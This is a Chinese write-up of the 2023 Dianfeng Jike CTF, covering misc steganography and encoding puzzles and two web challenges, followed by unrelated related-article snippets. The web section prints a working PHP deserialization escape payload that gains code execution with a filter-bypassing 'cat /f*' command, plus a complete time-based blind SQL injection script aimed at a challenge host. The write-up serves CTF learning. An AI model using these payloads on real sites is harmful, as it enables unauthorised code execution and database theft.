[巅峰极客2023]wp复现

news2025/1/11 11:52:46

文章目录

    • [巅峰极客2023]复现
      • misc
        • welcome
        • foundme
        • song
        • 学生物
      • web
        • unserialize
        • sql

[巅峰极客2023]复现

misc

welcome

base64解码

foundme

find.DMP文件

image-20230722094540584

使用flag查找工具找到关键字:

image-20230722094647067

flag.avif

image-20230722095206604

放入010中看到这个hint,找到好几个avif

image-20230722095315293

将他们分离出来

image-20230722095624243

song

010打开song

image-20230722192440332

看着像office的文件,我们改后缀为zip,

image-20230722192532737

找到一张图片,010打开,分离出hint.zip

image-20230722192639602

打开zip:image-20230722192706180

password_hint.txt

9iZ!r@n(9KAQV])<,6_K:,$L-<`N0U>'`J\@;A:f@X:pc;__<N;f->);/8c[<(K>S=u&Q<<C\oJA2-DK9l+cpAQMnd;/LD5=&s-8@T?rP;cdd':,$@!;_g1U<ARX#;)<$*;/J0E@P^bo;f-JGAQ3=t:/tFO@r$$s9gs:q@kgl'<`Lh:

比赛时在这里卡住了,其实这个是base85编码,我们可以使用cyberchef解密

这里我选择basecrack工具:(这个工具可以自动识别base编码)

python basecrack.py -m
# -m 参数代表解码多次

image-20230722193029179

这个工具最终解码为:

image-20230722193051973

4WXYNZ5AQHTJRL7FXC4ORJ4B4W6LDZMPUPSLXJD3FIVCUKRKFJ6Q==== 
base32解密:
密码是常见弱口令{******}
image-20230722193615386

image4、5文件分离出来,对比一下:

image-20230722203214938

把上面的内容分离出来,然后使用file命令查看一下文件类型:

image-20230722203311799

发现是.ape文件:

image-20230722203354804

我们可以使用DeepSound打开,由于提示弱密码,123456刚好满足:

image-20230722204031385

password.txt

Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook!
Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook.
Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook!
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook?
Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!
Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook.
Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook?
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook?
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook?
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook?
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook!
Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook?
Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook?
Ook! Ook. Ook? Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook?
Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook!
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook?
Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!
Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook!
Ook. Ook? Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!
Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook!
Ook. Ook? Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook?
Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook?
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!
Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook.
Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook.
Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook?
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook.
Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. 

ook编码 解密

this_zip_password_is_QazWsx147!@#

压缩包密码:QazWsx147!@#

打开得到flag

学生物

有两张一样的图片,盲水印:

image-20230722204721584

我们使用工具BlindWaterMark解密:

python bwmforpy3.py decode a.png b.png c.png
image-20230722204853834

甲硫氨酸

在其中一张图片末尾发现一串字符

MFFMNMMFGHMMQWEMMTMMPMDFMMYMMRMKKKMMLMMGMPMPMMMMSMMVMMGMGMMMQMQMQMMMQMMMMEMEMEMEMMMMWMMMTMMMMPMMMDMNMNMMMMTMMMNMNMMNMNMMGMMGMGMGMGMMMMHMKMLMAMMMMAMAMAMSMSMSMMSMMYMYMMYMMYMMHMMVMVMMMMVMMRMMMRMAMAMMAMMAMMQMMMQMEMYMYMMM

比赛给了hint:

image-20230722205132893

甲硫氨酸缩写:M

image-20230722205450038

我们使用脚本输出一下 M在这一串字符中的位置

1 4 6 7 11 12 16 17 19 20 22 25 26 28 29 31 35 36 38 39 41 43 45 46 47 48 50 51 53 54 56 58 59 60 62 64 66 67 68 70 71 72 73 75 77 79 81 82 83 84 86 87 88 90 91 92 93 95 96 97 99 101 103 104 105 106 108 109 110 112 114 115 117 119 120 122 123 125 127 129 131 132 133 134 136 138 140 142 143 144 145 147 149 151 153 155 157 158 160 161 163 165 166 168 169 171 172 174 175 177 179 180 181 182 184 185 187 188 189 191 193 195 196 198 199 201 202 204 205 206 208 210 212 214 215 216

卡在这一步了

最终的解法是使用二进制,我们先将位置对2取余,然后将得到的字符串转为2进制,每8位二进制一组,转为ascii码即可:

s = "MFFMNMMFGHMMQWEMMTMMPMDFMMYMMRMKKKMMLMMGMPMPMMMMSMMVMMGMGMMMQMQMQMMMQMMMMEMEMEMEMMMMWMMMTMMMMPMMMDMNMNMMMMTMMMNMNMMNMNMMGMMGMGMGMGMMMMHMKMLMAMMMMAMAMAMSMSMSMMSMMYMYMMYMMYMMHMMVMVMMMMVMMRMMMRMAMAMMAMMAMMQMMMQMEMYMYMMM"

bins = ""

pos = 0
for i in s:
    if i == 'M':
        bins += str(pos % 2)
    pos += 1

for bin in range(0,len(bins),8):
    num = bins[bin:bin+8]
    num = int(num,2)
    if num > 128 :
        num = num - 128
    else:
        pass
    print(chr(num),end="")
    
# flag{Am!n0_@c1d3}

web

unserialize

访问/www.zip获得源码:

index.php

<?php
include_once "my.php";
include_once "function.php";
include_once "login.html";
session_start();

if (isset($_POST['root']) && isset($_POST['pwd'])) {
	$root = $_POST['root'];
	$pwd = $_POST['pwd'];
	$login = new push_it($root, $pwd);
	$_SESSION['login'] = b(serialize($login));
	die('<script>location.href=`./login.php`;</script>');
}

login.php

<?php
session_start();
include_once "my.php";
include_once "function.php";

if (!isset($_SESSION['login'])) {
	echo '<script>alert(`Login First!`);location.href=`./index.php`;</script>';
}

$login = @unserialize(a($_SESSION['login']));
echo $login;

function.php

<?php
function b($data) {
	return str_replace('aaaa', 'bbbbbb', $data);
}

function a($data) {
	return str_replace('bbbbbb', 'aaaa', $data);
}
?>

my.php


<?php

class pull_it {
	private $x;

	function __construct($xx) {
		$this->x = $xx;
	}

	function __destruct() {
		if ($this->x) {
			$preg_match = 'return preg_match("/[A-Za-z0-9]+/i", $this->x);';
		if (eval($preg_match)) {
			echo $preg_match;
			exit("save_waf");
		}
		@eval($this->x);
		}
	}	
}
class push_it {
	private $root;
	private $pwd;

	function __construct($root, $pwd) {
		$this->root = $root;
		$this->pwd = $pwd;
	}
	
		function __destruct() {
		unset($this->root);
		unset($this->pwd);
	}

	function __toString() {
		if (isset($this->root) && isset($this->pwd)) {
			echo "<h1>Hello, $this->root</h1>";
		}
		else {
			echo "<h1>out!</h1>";
		}
	}
}


这个题目分析一下就知道是反序列化字符逃逸漏洞

问题出在这个函数上,每次可以逃逸出两个字符

function a($data) {
	return str_replace('bbbbbb', 'aaaa', $data);
}

这里我之前以为只能改属性,没想到php反序列化也可以将对象里的对象反序列化

知道这个就简单了

我们输出一个push_it对象的序列化字符串,由于对象成员变量的权限是private所以序列化中会出现%00的字符,该字符不可见(也算作一个字符)

image-20230723141902884

我们计算一下从用户名末尾处到pwd输入处总共需要多少个字符,我们就逃逸多少个字符:

image-20230723142203411

总共28个字符,所以我们用户名的bbbbbb可以重复14次,就逃逸出28个字符了,

所以这里面都是用户名了,后面pwd我们可以自己构造,闭合以及加入对象序列化串等操作

image-20230723142339136

于是用户名为:(共6*14=84个b)

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb

接下来构造pwd即可,我们先查看一下pull_it对象序列化后的值

pull_it类的析构方法:

function __destruct() {
		if ($this->x) {
			$preg_match = 'return preg_match("/[A-Za-z0-9]+/i", $this->x);';
		if (eval($preg_match)) {
			echo $preg_match;
			exit("save_waf");
		}
		@eval($this->x);
		}
	}

很明显是无字母数字RCE,我们取反构造即可:

image-20230723143122262

我们现在已经知道了pull_it序列化后字符串的形式了,接下来我们只需要闭合push_it序列化字符串前面的符号即可:

前面逃逸出来的这些字符已经变成username串中的一部分了,我们在pwd中也需要加入这些进行闭合(这里的%00我们不能直接这么写,需要编码后才为%00,所以我们可以先写成\000,这个是8进制的写法,然后编码之后就能转为%00,但是在php中需要使用双引号才能识别\000

";s:12:"%00push_it%00pwd";

后面一部分加入pull_it序列化后的字符串

image-20230723143638745

于是我们可以获得pwd的payload:

<?php
require("my.php");
require "function.php";

echo urlencode("\";s:12:\"\000push_it\000pwd\";".serialize(new pull_it('(~'.~'system'.")(~".~"cat /f*".");")));

# 输出:
# %22%3Bs%3A12%3A%22%00push_it%00pwd%22%3BO%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A20%3A%22%28%7E%8C%86%8C%8B%9A%92%29%28%7E%9C%9E%8B%DF%D0%99%D5%29%3B%22%3B%7D

完整payload:

root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=%22%3Bs%3A12%3A%22%00push_it%00pwd%22%3BO%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A20%3A%22%28%7E%8C%86%8C%8B%9A%92%29%28%7E%9C%9E%8B%DF%D0%99%D5%29%3B%22%3B%7D

小结

没写出这题的原因,以为只能通过逃逸改变属性值,结果可以反序列化对象里的对象

sql

笛卡尔积的sql注入

这道题ban了:sleep if benchmark rpad 等等,普通的延时注入肯定不行,关键词都被ban了

(本来使用rpad填充字符结合正则表达式,也可以达到延时的效果)

这一需要使用到笛卡尔积的延时注入:

简单的说,就是通过查询多个大的表,导致产生笛卡尔积,造成查询数量多,所以会产生延时的效果

但是if都被过滤了,我们怎么才能够一边查询多表导致笛卡尔积,一边进行盲注呢?

这里可以使用case表达式:

CASE
  WHEN condition1 THEN result1
  WHEN condition2 THEN result2
  ...
  ELSE result
END

这样就实现了if的效果了,这样就可以写脚本盲注了

大佬脚本:

import requests,string,time
#select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
#select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = 'xxx'
#select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA = 'xxx' and TABLE_NAME = 'xxx'
#group_concat(table_name) from information_schema.tables where table_schema=
dic=string.printable.replace("*","")
url='http://web-d7d8079aa0.challenge.xctf.org.cn/?id='
p1='''case when({}) then (select sum("A") FROM information_schema.columns A,information_schema.tables B,information_schema.tables C) else 1 end||'1'='1'''
string=''
for i in range(1,100):
    for j in dic:
        exp=p1.format("((substr(({}),{},1)))=BINARY('{}')").format("select Flagg from Flllag",str(i),j)
        data = "1'||{}".format(exp)
        #print(data)
        now=time.time()
        try:
            r=requests.get(url+data,timeout=3)
            if "nonono" in r.text:
                print(r.text)
                print(data)
                print("baned")
                exit(0)
        except Exception as e:
            pass
       # print(time.time() - now)
        if time.time() - now > 3:
            string+=j
            print(string)
            break
print(string)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/787208.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Shedskin 使用

Shedskin是一个编译器工具&#xff0c;可以将Python代码编译为C语言。先说结论吧&#xff0c;这玩意现在就只是个玩具&#xff0c;因为使用ShedSkin编译的程序不能自由使用Python标准库&#xff0c;目前只支持大约17个常用模块&#xff1a; bisect collections ConfigParser c…

4.python设计模式【建造者模式】

内容: 将一个复杂对象的构建与它的表示分离&#xff0c;使得同样的构建过程可以创建不同的表示。建造者模式与抽象工厂模式相似&#xff0c;也用来创建复杂对象。主要区分是建造者模式着重一步步构造复杂对象&#xff0c;而抽象工厂模式着重于多个系列的产品对象。角色&#xf…

嵌入式做单片机的门槛

我个人认为并不高&#xff0c;如果你非要有个量化的标准&#xff0c;那我觉得初中文凭都能学会并且能以此为生的程度。 文凭嘛&#xff0c;就是一张纸&#xff0c;并代表不了什么。 前几年&#xff0c;我接了一个帮研究生写毕业论文的单子&#xff0c;果然没让我失望&#xf…

实现Android屏幕分享和视频聊天(附源码)

在一些有人际互动的手机APP中&#xff0c;增加语音视频聊天功能是一个常见的需求。而现在&#xff0c;更进一步&#xff0c;在某些场景下&#xff0c;我们需要能将自己的手机屏幕分享给他人&#xff0c;或者是观看他人的手机屏幕。那么&#xff0c;这些常见的功能是如何实现的了…

reset master

1 reset master 执行 reset master; 后 变化1 &#xff1a;位点被重置 变化2 binlog日志被清空 原来的binlog被删除 从 mysql-bin.000001 开始记录。

【ribbon】Ribbon的负载均衡和扩展功能

Ribbon的核心接口 参考&#xff1a;org.springframework.cloud.netflix.ribbon.RibbonClientConfiguration IClientConfig&#xff1a;Ribbon的客户端配置&#xff0c;默认采用DefaultClientConfigImpl实现。IRule&#xff1a;Ribbon的负载均衡策略&#xff0c;默认采用ZoneA…

【GPT4结对编程】word文档导出功能GPT4来实现

需求背景 最近产品增加了一个导出word文档的需求&#xff0c;之前有导出过pdf格式、excel格式、csv格式&#xff0c;但还没导出过word文档。 开源框架调研 我们的后端服务主要是用golang&#xff0c;因此首先想到的是golang相关的开源工具&#xff0c;找到2个。 unioffice …

【网络安全】蜜罐部署实战DecoyMini攻击诱捕

蜜罐部署实战&DecoyMini攻击诱捕 前言一、蜜罐1. 概念2. 蜜罐溯源常见方式3. 蜜罐分类 二、蜜罐项目实战1. 配置DecoyMini1.1 命令行窗口运行1.2 修改配置信息 2. 登录DecoyMini3. 克隆网站3.1 增加仿真网站3.2 增加诱捕器3.3 查看端口监听3.4 克隆成功&#xff08;蜜罐&am…

Qt : day1

1.聊天界面 #include "widget.h"Widget::Widget(QWidget *parent): QWidget(parent) {qDebug() << this->size(); //获取当前页面尺寸this->setFixedSize(500, 600); //设置固定尺寸this->setWindowTitle("聊天框"); //设置窗口…

解决Cannot resolve plugin org.apache.maven.plugins:xxxxxxxx

解决Cannot resolve plugin org.apache.maven.plugins:xxxxxxxx 方法一、检查配置设置 下图中三个方框圈出来的地方设置为自己的下载的maven地址&#xff0c;配置文件地址&#xff0c;仓库地址。刷新maven。 我个人试过没用&#xff0c;不过网上有的朋友用这个方法解决了。 …

CBC字节翻转攻击介绍 例题

知识导入&#xff08;AES-CBC模式&#xff09; 加密过程 1、首先将明文分组(常见的以16字节为一组)&#xff0c;位数不足的使用特殊字符填充。 2、生成一个随机的初始化向量(IV)和一个密钥。 3、将IV和第一组明文异或。 4、用key对3中xor后产生的密文加密。 5、用4中产生的密文…

大厂案例 - 腾讯万亿级 Elasticsearch 架构实践

文章目录 概述提纲益处正文一、Elasticsearch 简介0. 应用领域搜索引擎可观测性安全检测发展现状 1.系统架构集群架构物理数据模型查询 2.腾讯应用现状搜索领日志实时分析时序数据 二、技术挑战1.可用性2.成本3.性能 三、架构设计实践1.可用性优化1.1 解决方案2.2 集群扩展性2.…

RK3588平台开发系列讲解(LCD篇)LCD的分辨率和像素格式

文章目录 一、分辨率二、像素格式三、LCD成像步骤四、LCD屏幕时序4.1、行显示时序4.2、帧显示时序沉淀、分享、成长,让自己和他人都能有所收获!😄 📢液晶 LCD 显示器是由两片平行的玻璃基板组成,两片平行的玻璃基板之间放置了一个液晶盒。在下基板玻璃上,有一组被称为薄…

【Postman】- 基本用法

一、用例集 1.1 用例集 Collections&#xff1a;用例集。目录下可以创建子目录。 1.2 导出用例集 1.3 导入用例集 二、Postman断言 断言&#xff1a;让程序判断预期结果和实际结果是否一致 2.1 特点 Postman的断言是使用JavaScript语言编写的&#xff0c;写在"Tests&…

Jvm参数优化

Jvm参数优化 背景1. 系统上线规划容量- 分析 2. 垃圾回收器选择吞吐量和响应时间垃圾回收器选择 3. 规划各个分区的比例大小4. 对象年龄对少移动到老年代合适5. 对象多大放到老年代6. 垃圾回收器CMS老年代参数优化7. 配置OOM时的内存dump文件和GC日志8. 通用JVM参数模板 背景 …

任务的调度 和 任务的状态

任务的调度 Q: 什么是任务调度&#xff1f; A: 调度器就是使用相关的调度算法来决定当前需要执行的哪个任务。 FreeRTOS中开启任务调度的函数是 vTaskStartScheduler() &#xff0c;但在 CubeMX 中被封装为 osKernelStart() 。 这个“osKernelStart()”就是在main.c中main函…

MyBatis源码分析_ResultSetHandler(7)

1. 传统JDBC Mybatis其实就是封装传统JDBC的&#xff0c;它和传统JDBC访问数据库基本一模一样。因此&#xff0c;不要觉得Mybatis有多高级。而 ResultSetHandler 就是处理我们JDBC访问数据库获取到的ResultSet结果集的。在此之前&#xff0c;我们还是先看一下传统JDBC&#xf…

5.2.10.应用程序如何调用驱动 mknod /dev/test c 250 0 创建设备文件,应用app 程序 调用 我们 驱动 壳子

5.2.10.应用程序如何调用驱动 5.2.10.1、驱动设备文件的创建 (1)何为设备文件 索引驱动 (2)设备文件的关键信息是&#xff1a;设备号 主设备号 次设备号&#xff0c;使用ls -l去查看设备文件&#xff0c;就可以得到这个设备文件对应的主次设备号。 4颗LED不可能 都占用 主设备…

【深度学习】日常笔记14

对神经网络模型参数的初始化方案对保持数值稳定性有很重要的作用。初始化⽅案的选择可以与⾮线性激活函数的选择有趣的结合在⼀起。 突然有感触&#xff1a;做习题和模拟考研就分别是训练集和验证集&#xff0c;考研不就是最后的测试集&#xff08;&#xff09; p168的↓的解释…

【计算机编程语言】JAVA-MyBatis(Eclipse)

文章目录 MyBatis1.简介1.1什么是Mybatis1.2持久化1.3持久层1.4为什么需要Mybatis 2.第一个Mybatis程序2.1搭建环境2.1.1.搭建数据库&#xff1a;2.1.2.新建项目&#xff08;工程&#xff09;2.1.3导入依赖 2.2创建一个模块2.2.1.编写Mybatis的核心配置文件2.2.2.编写Mybatis的…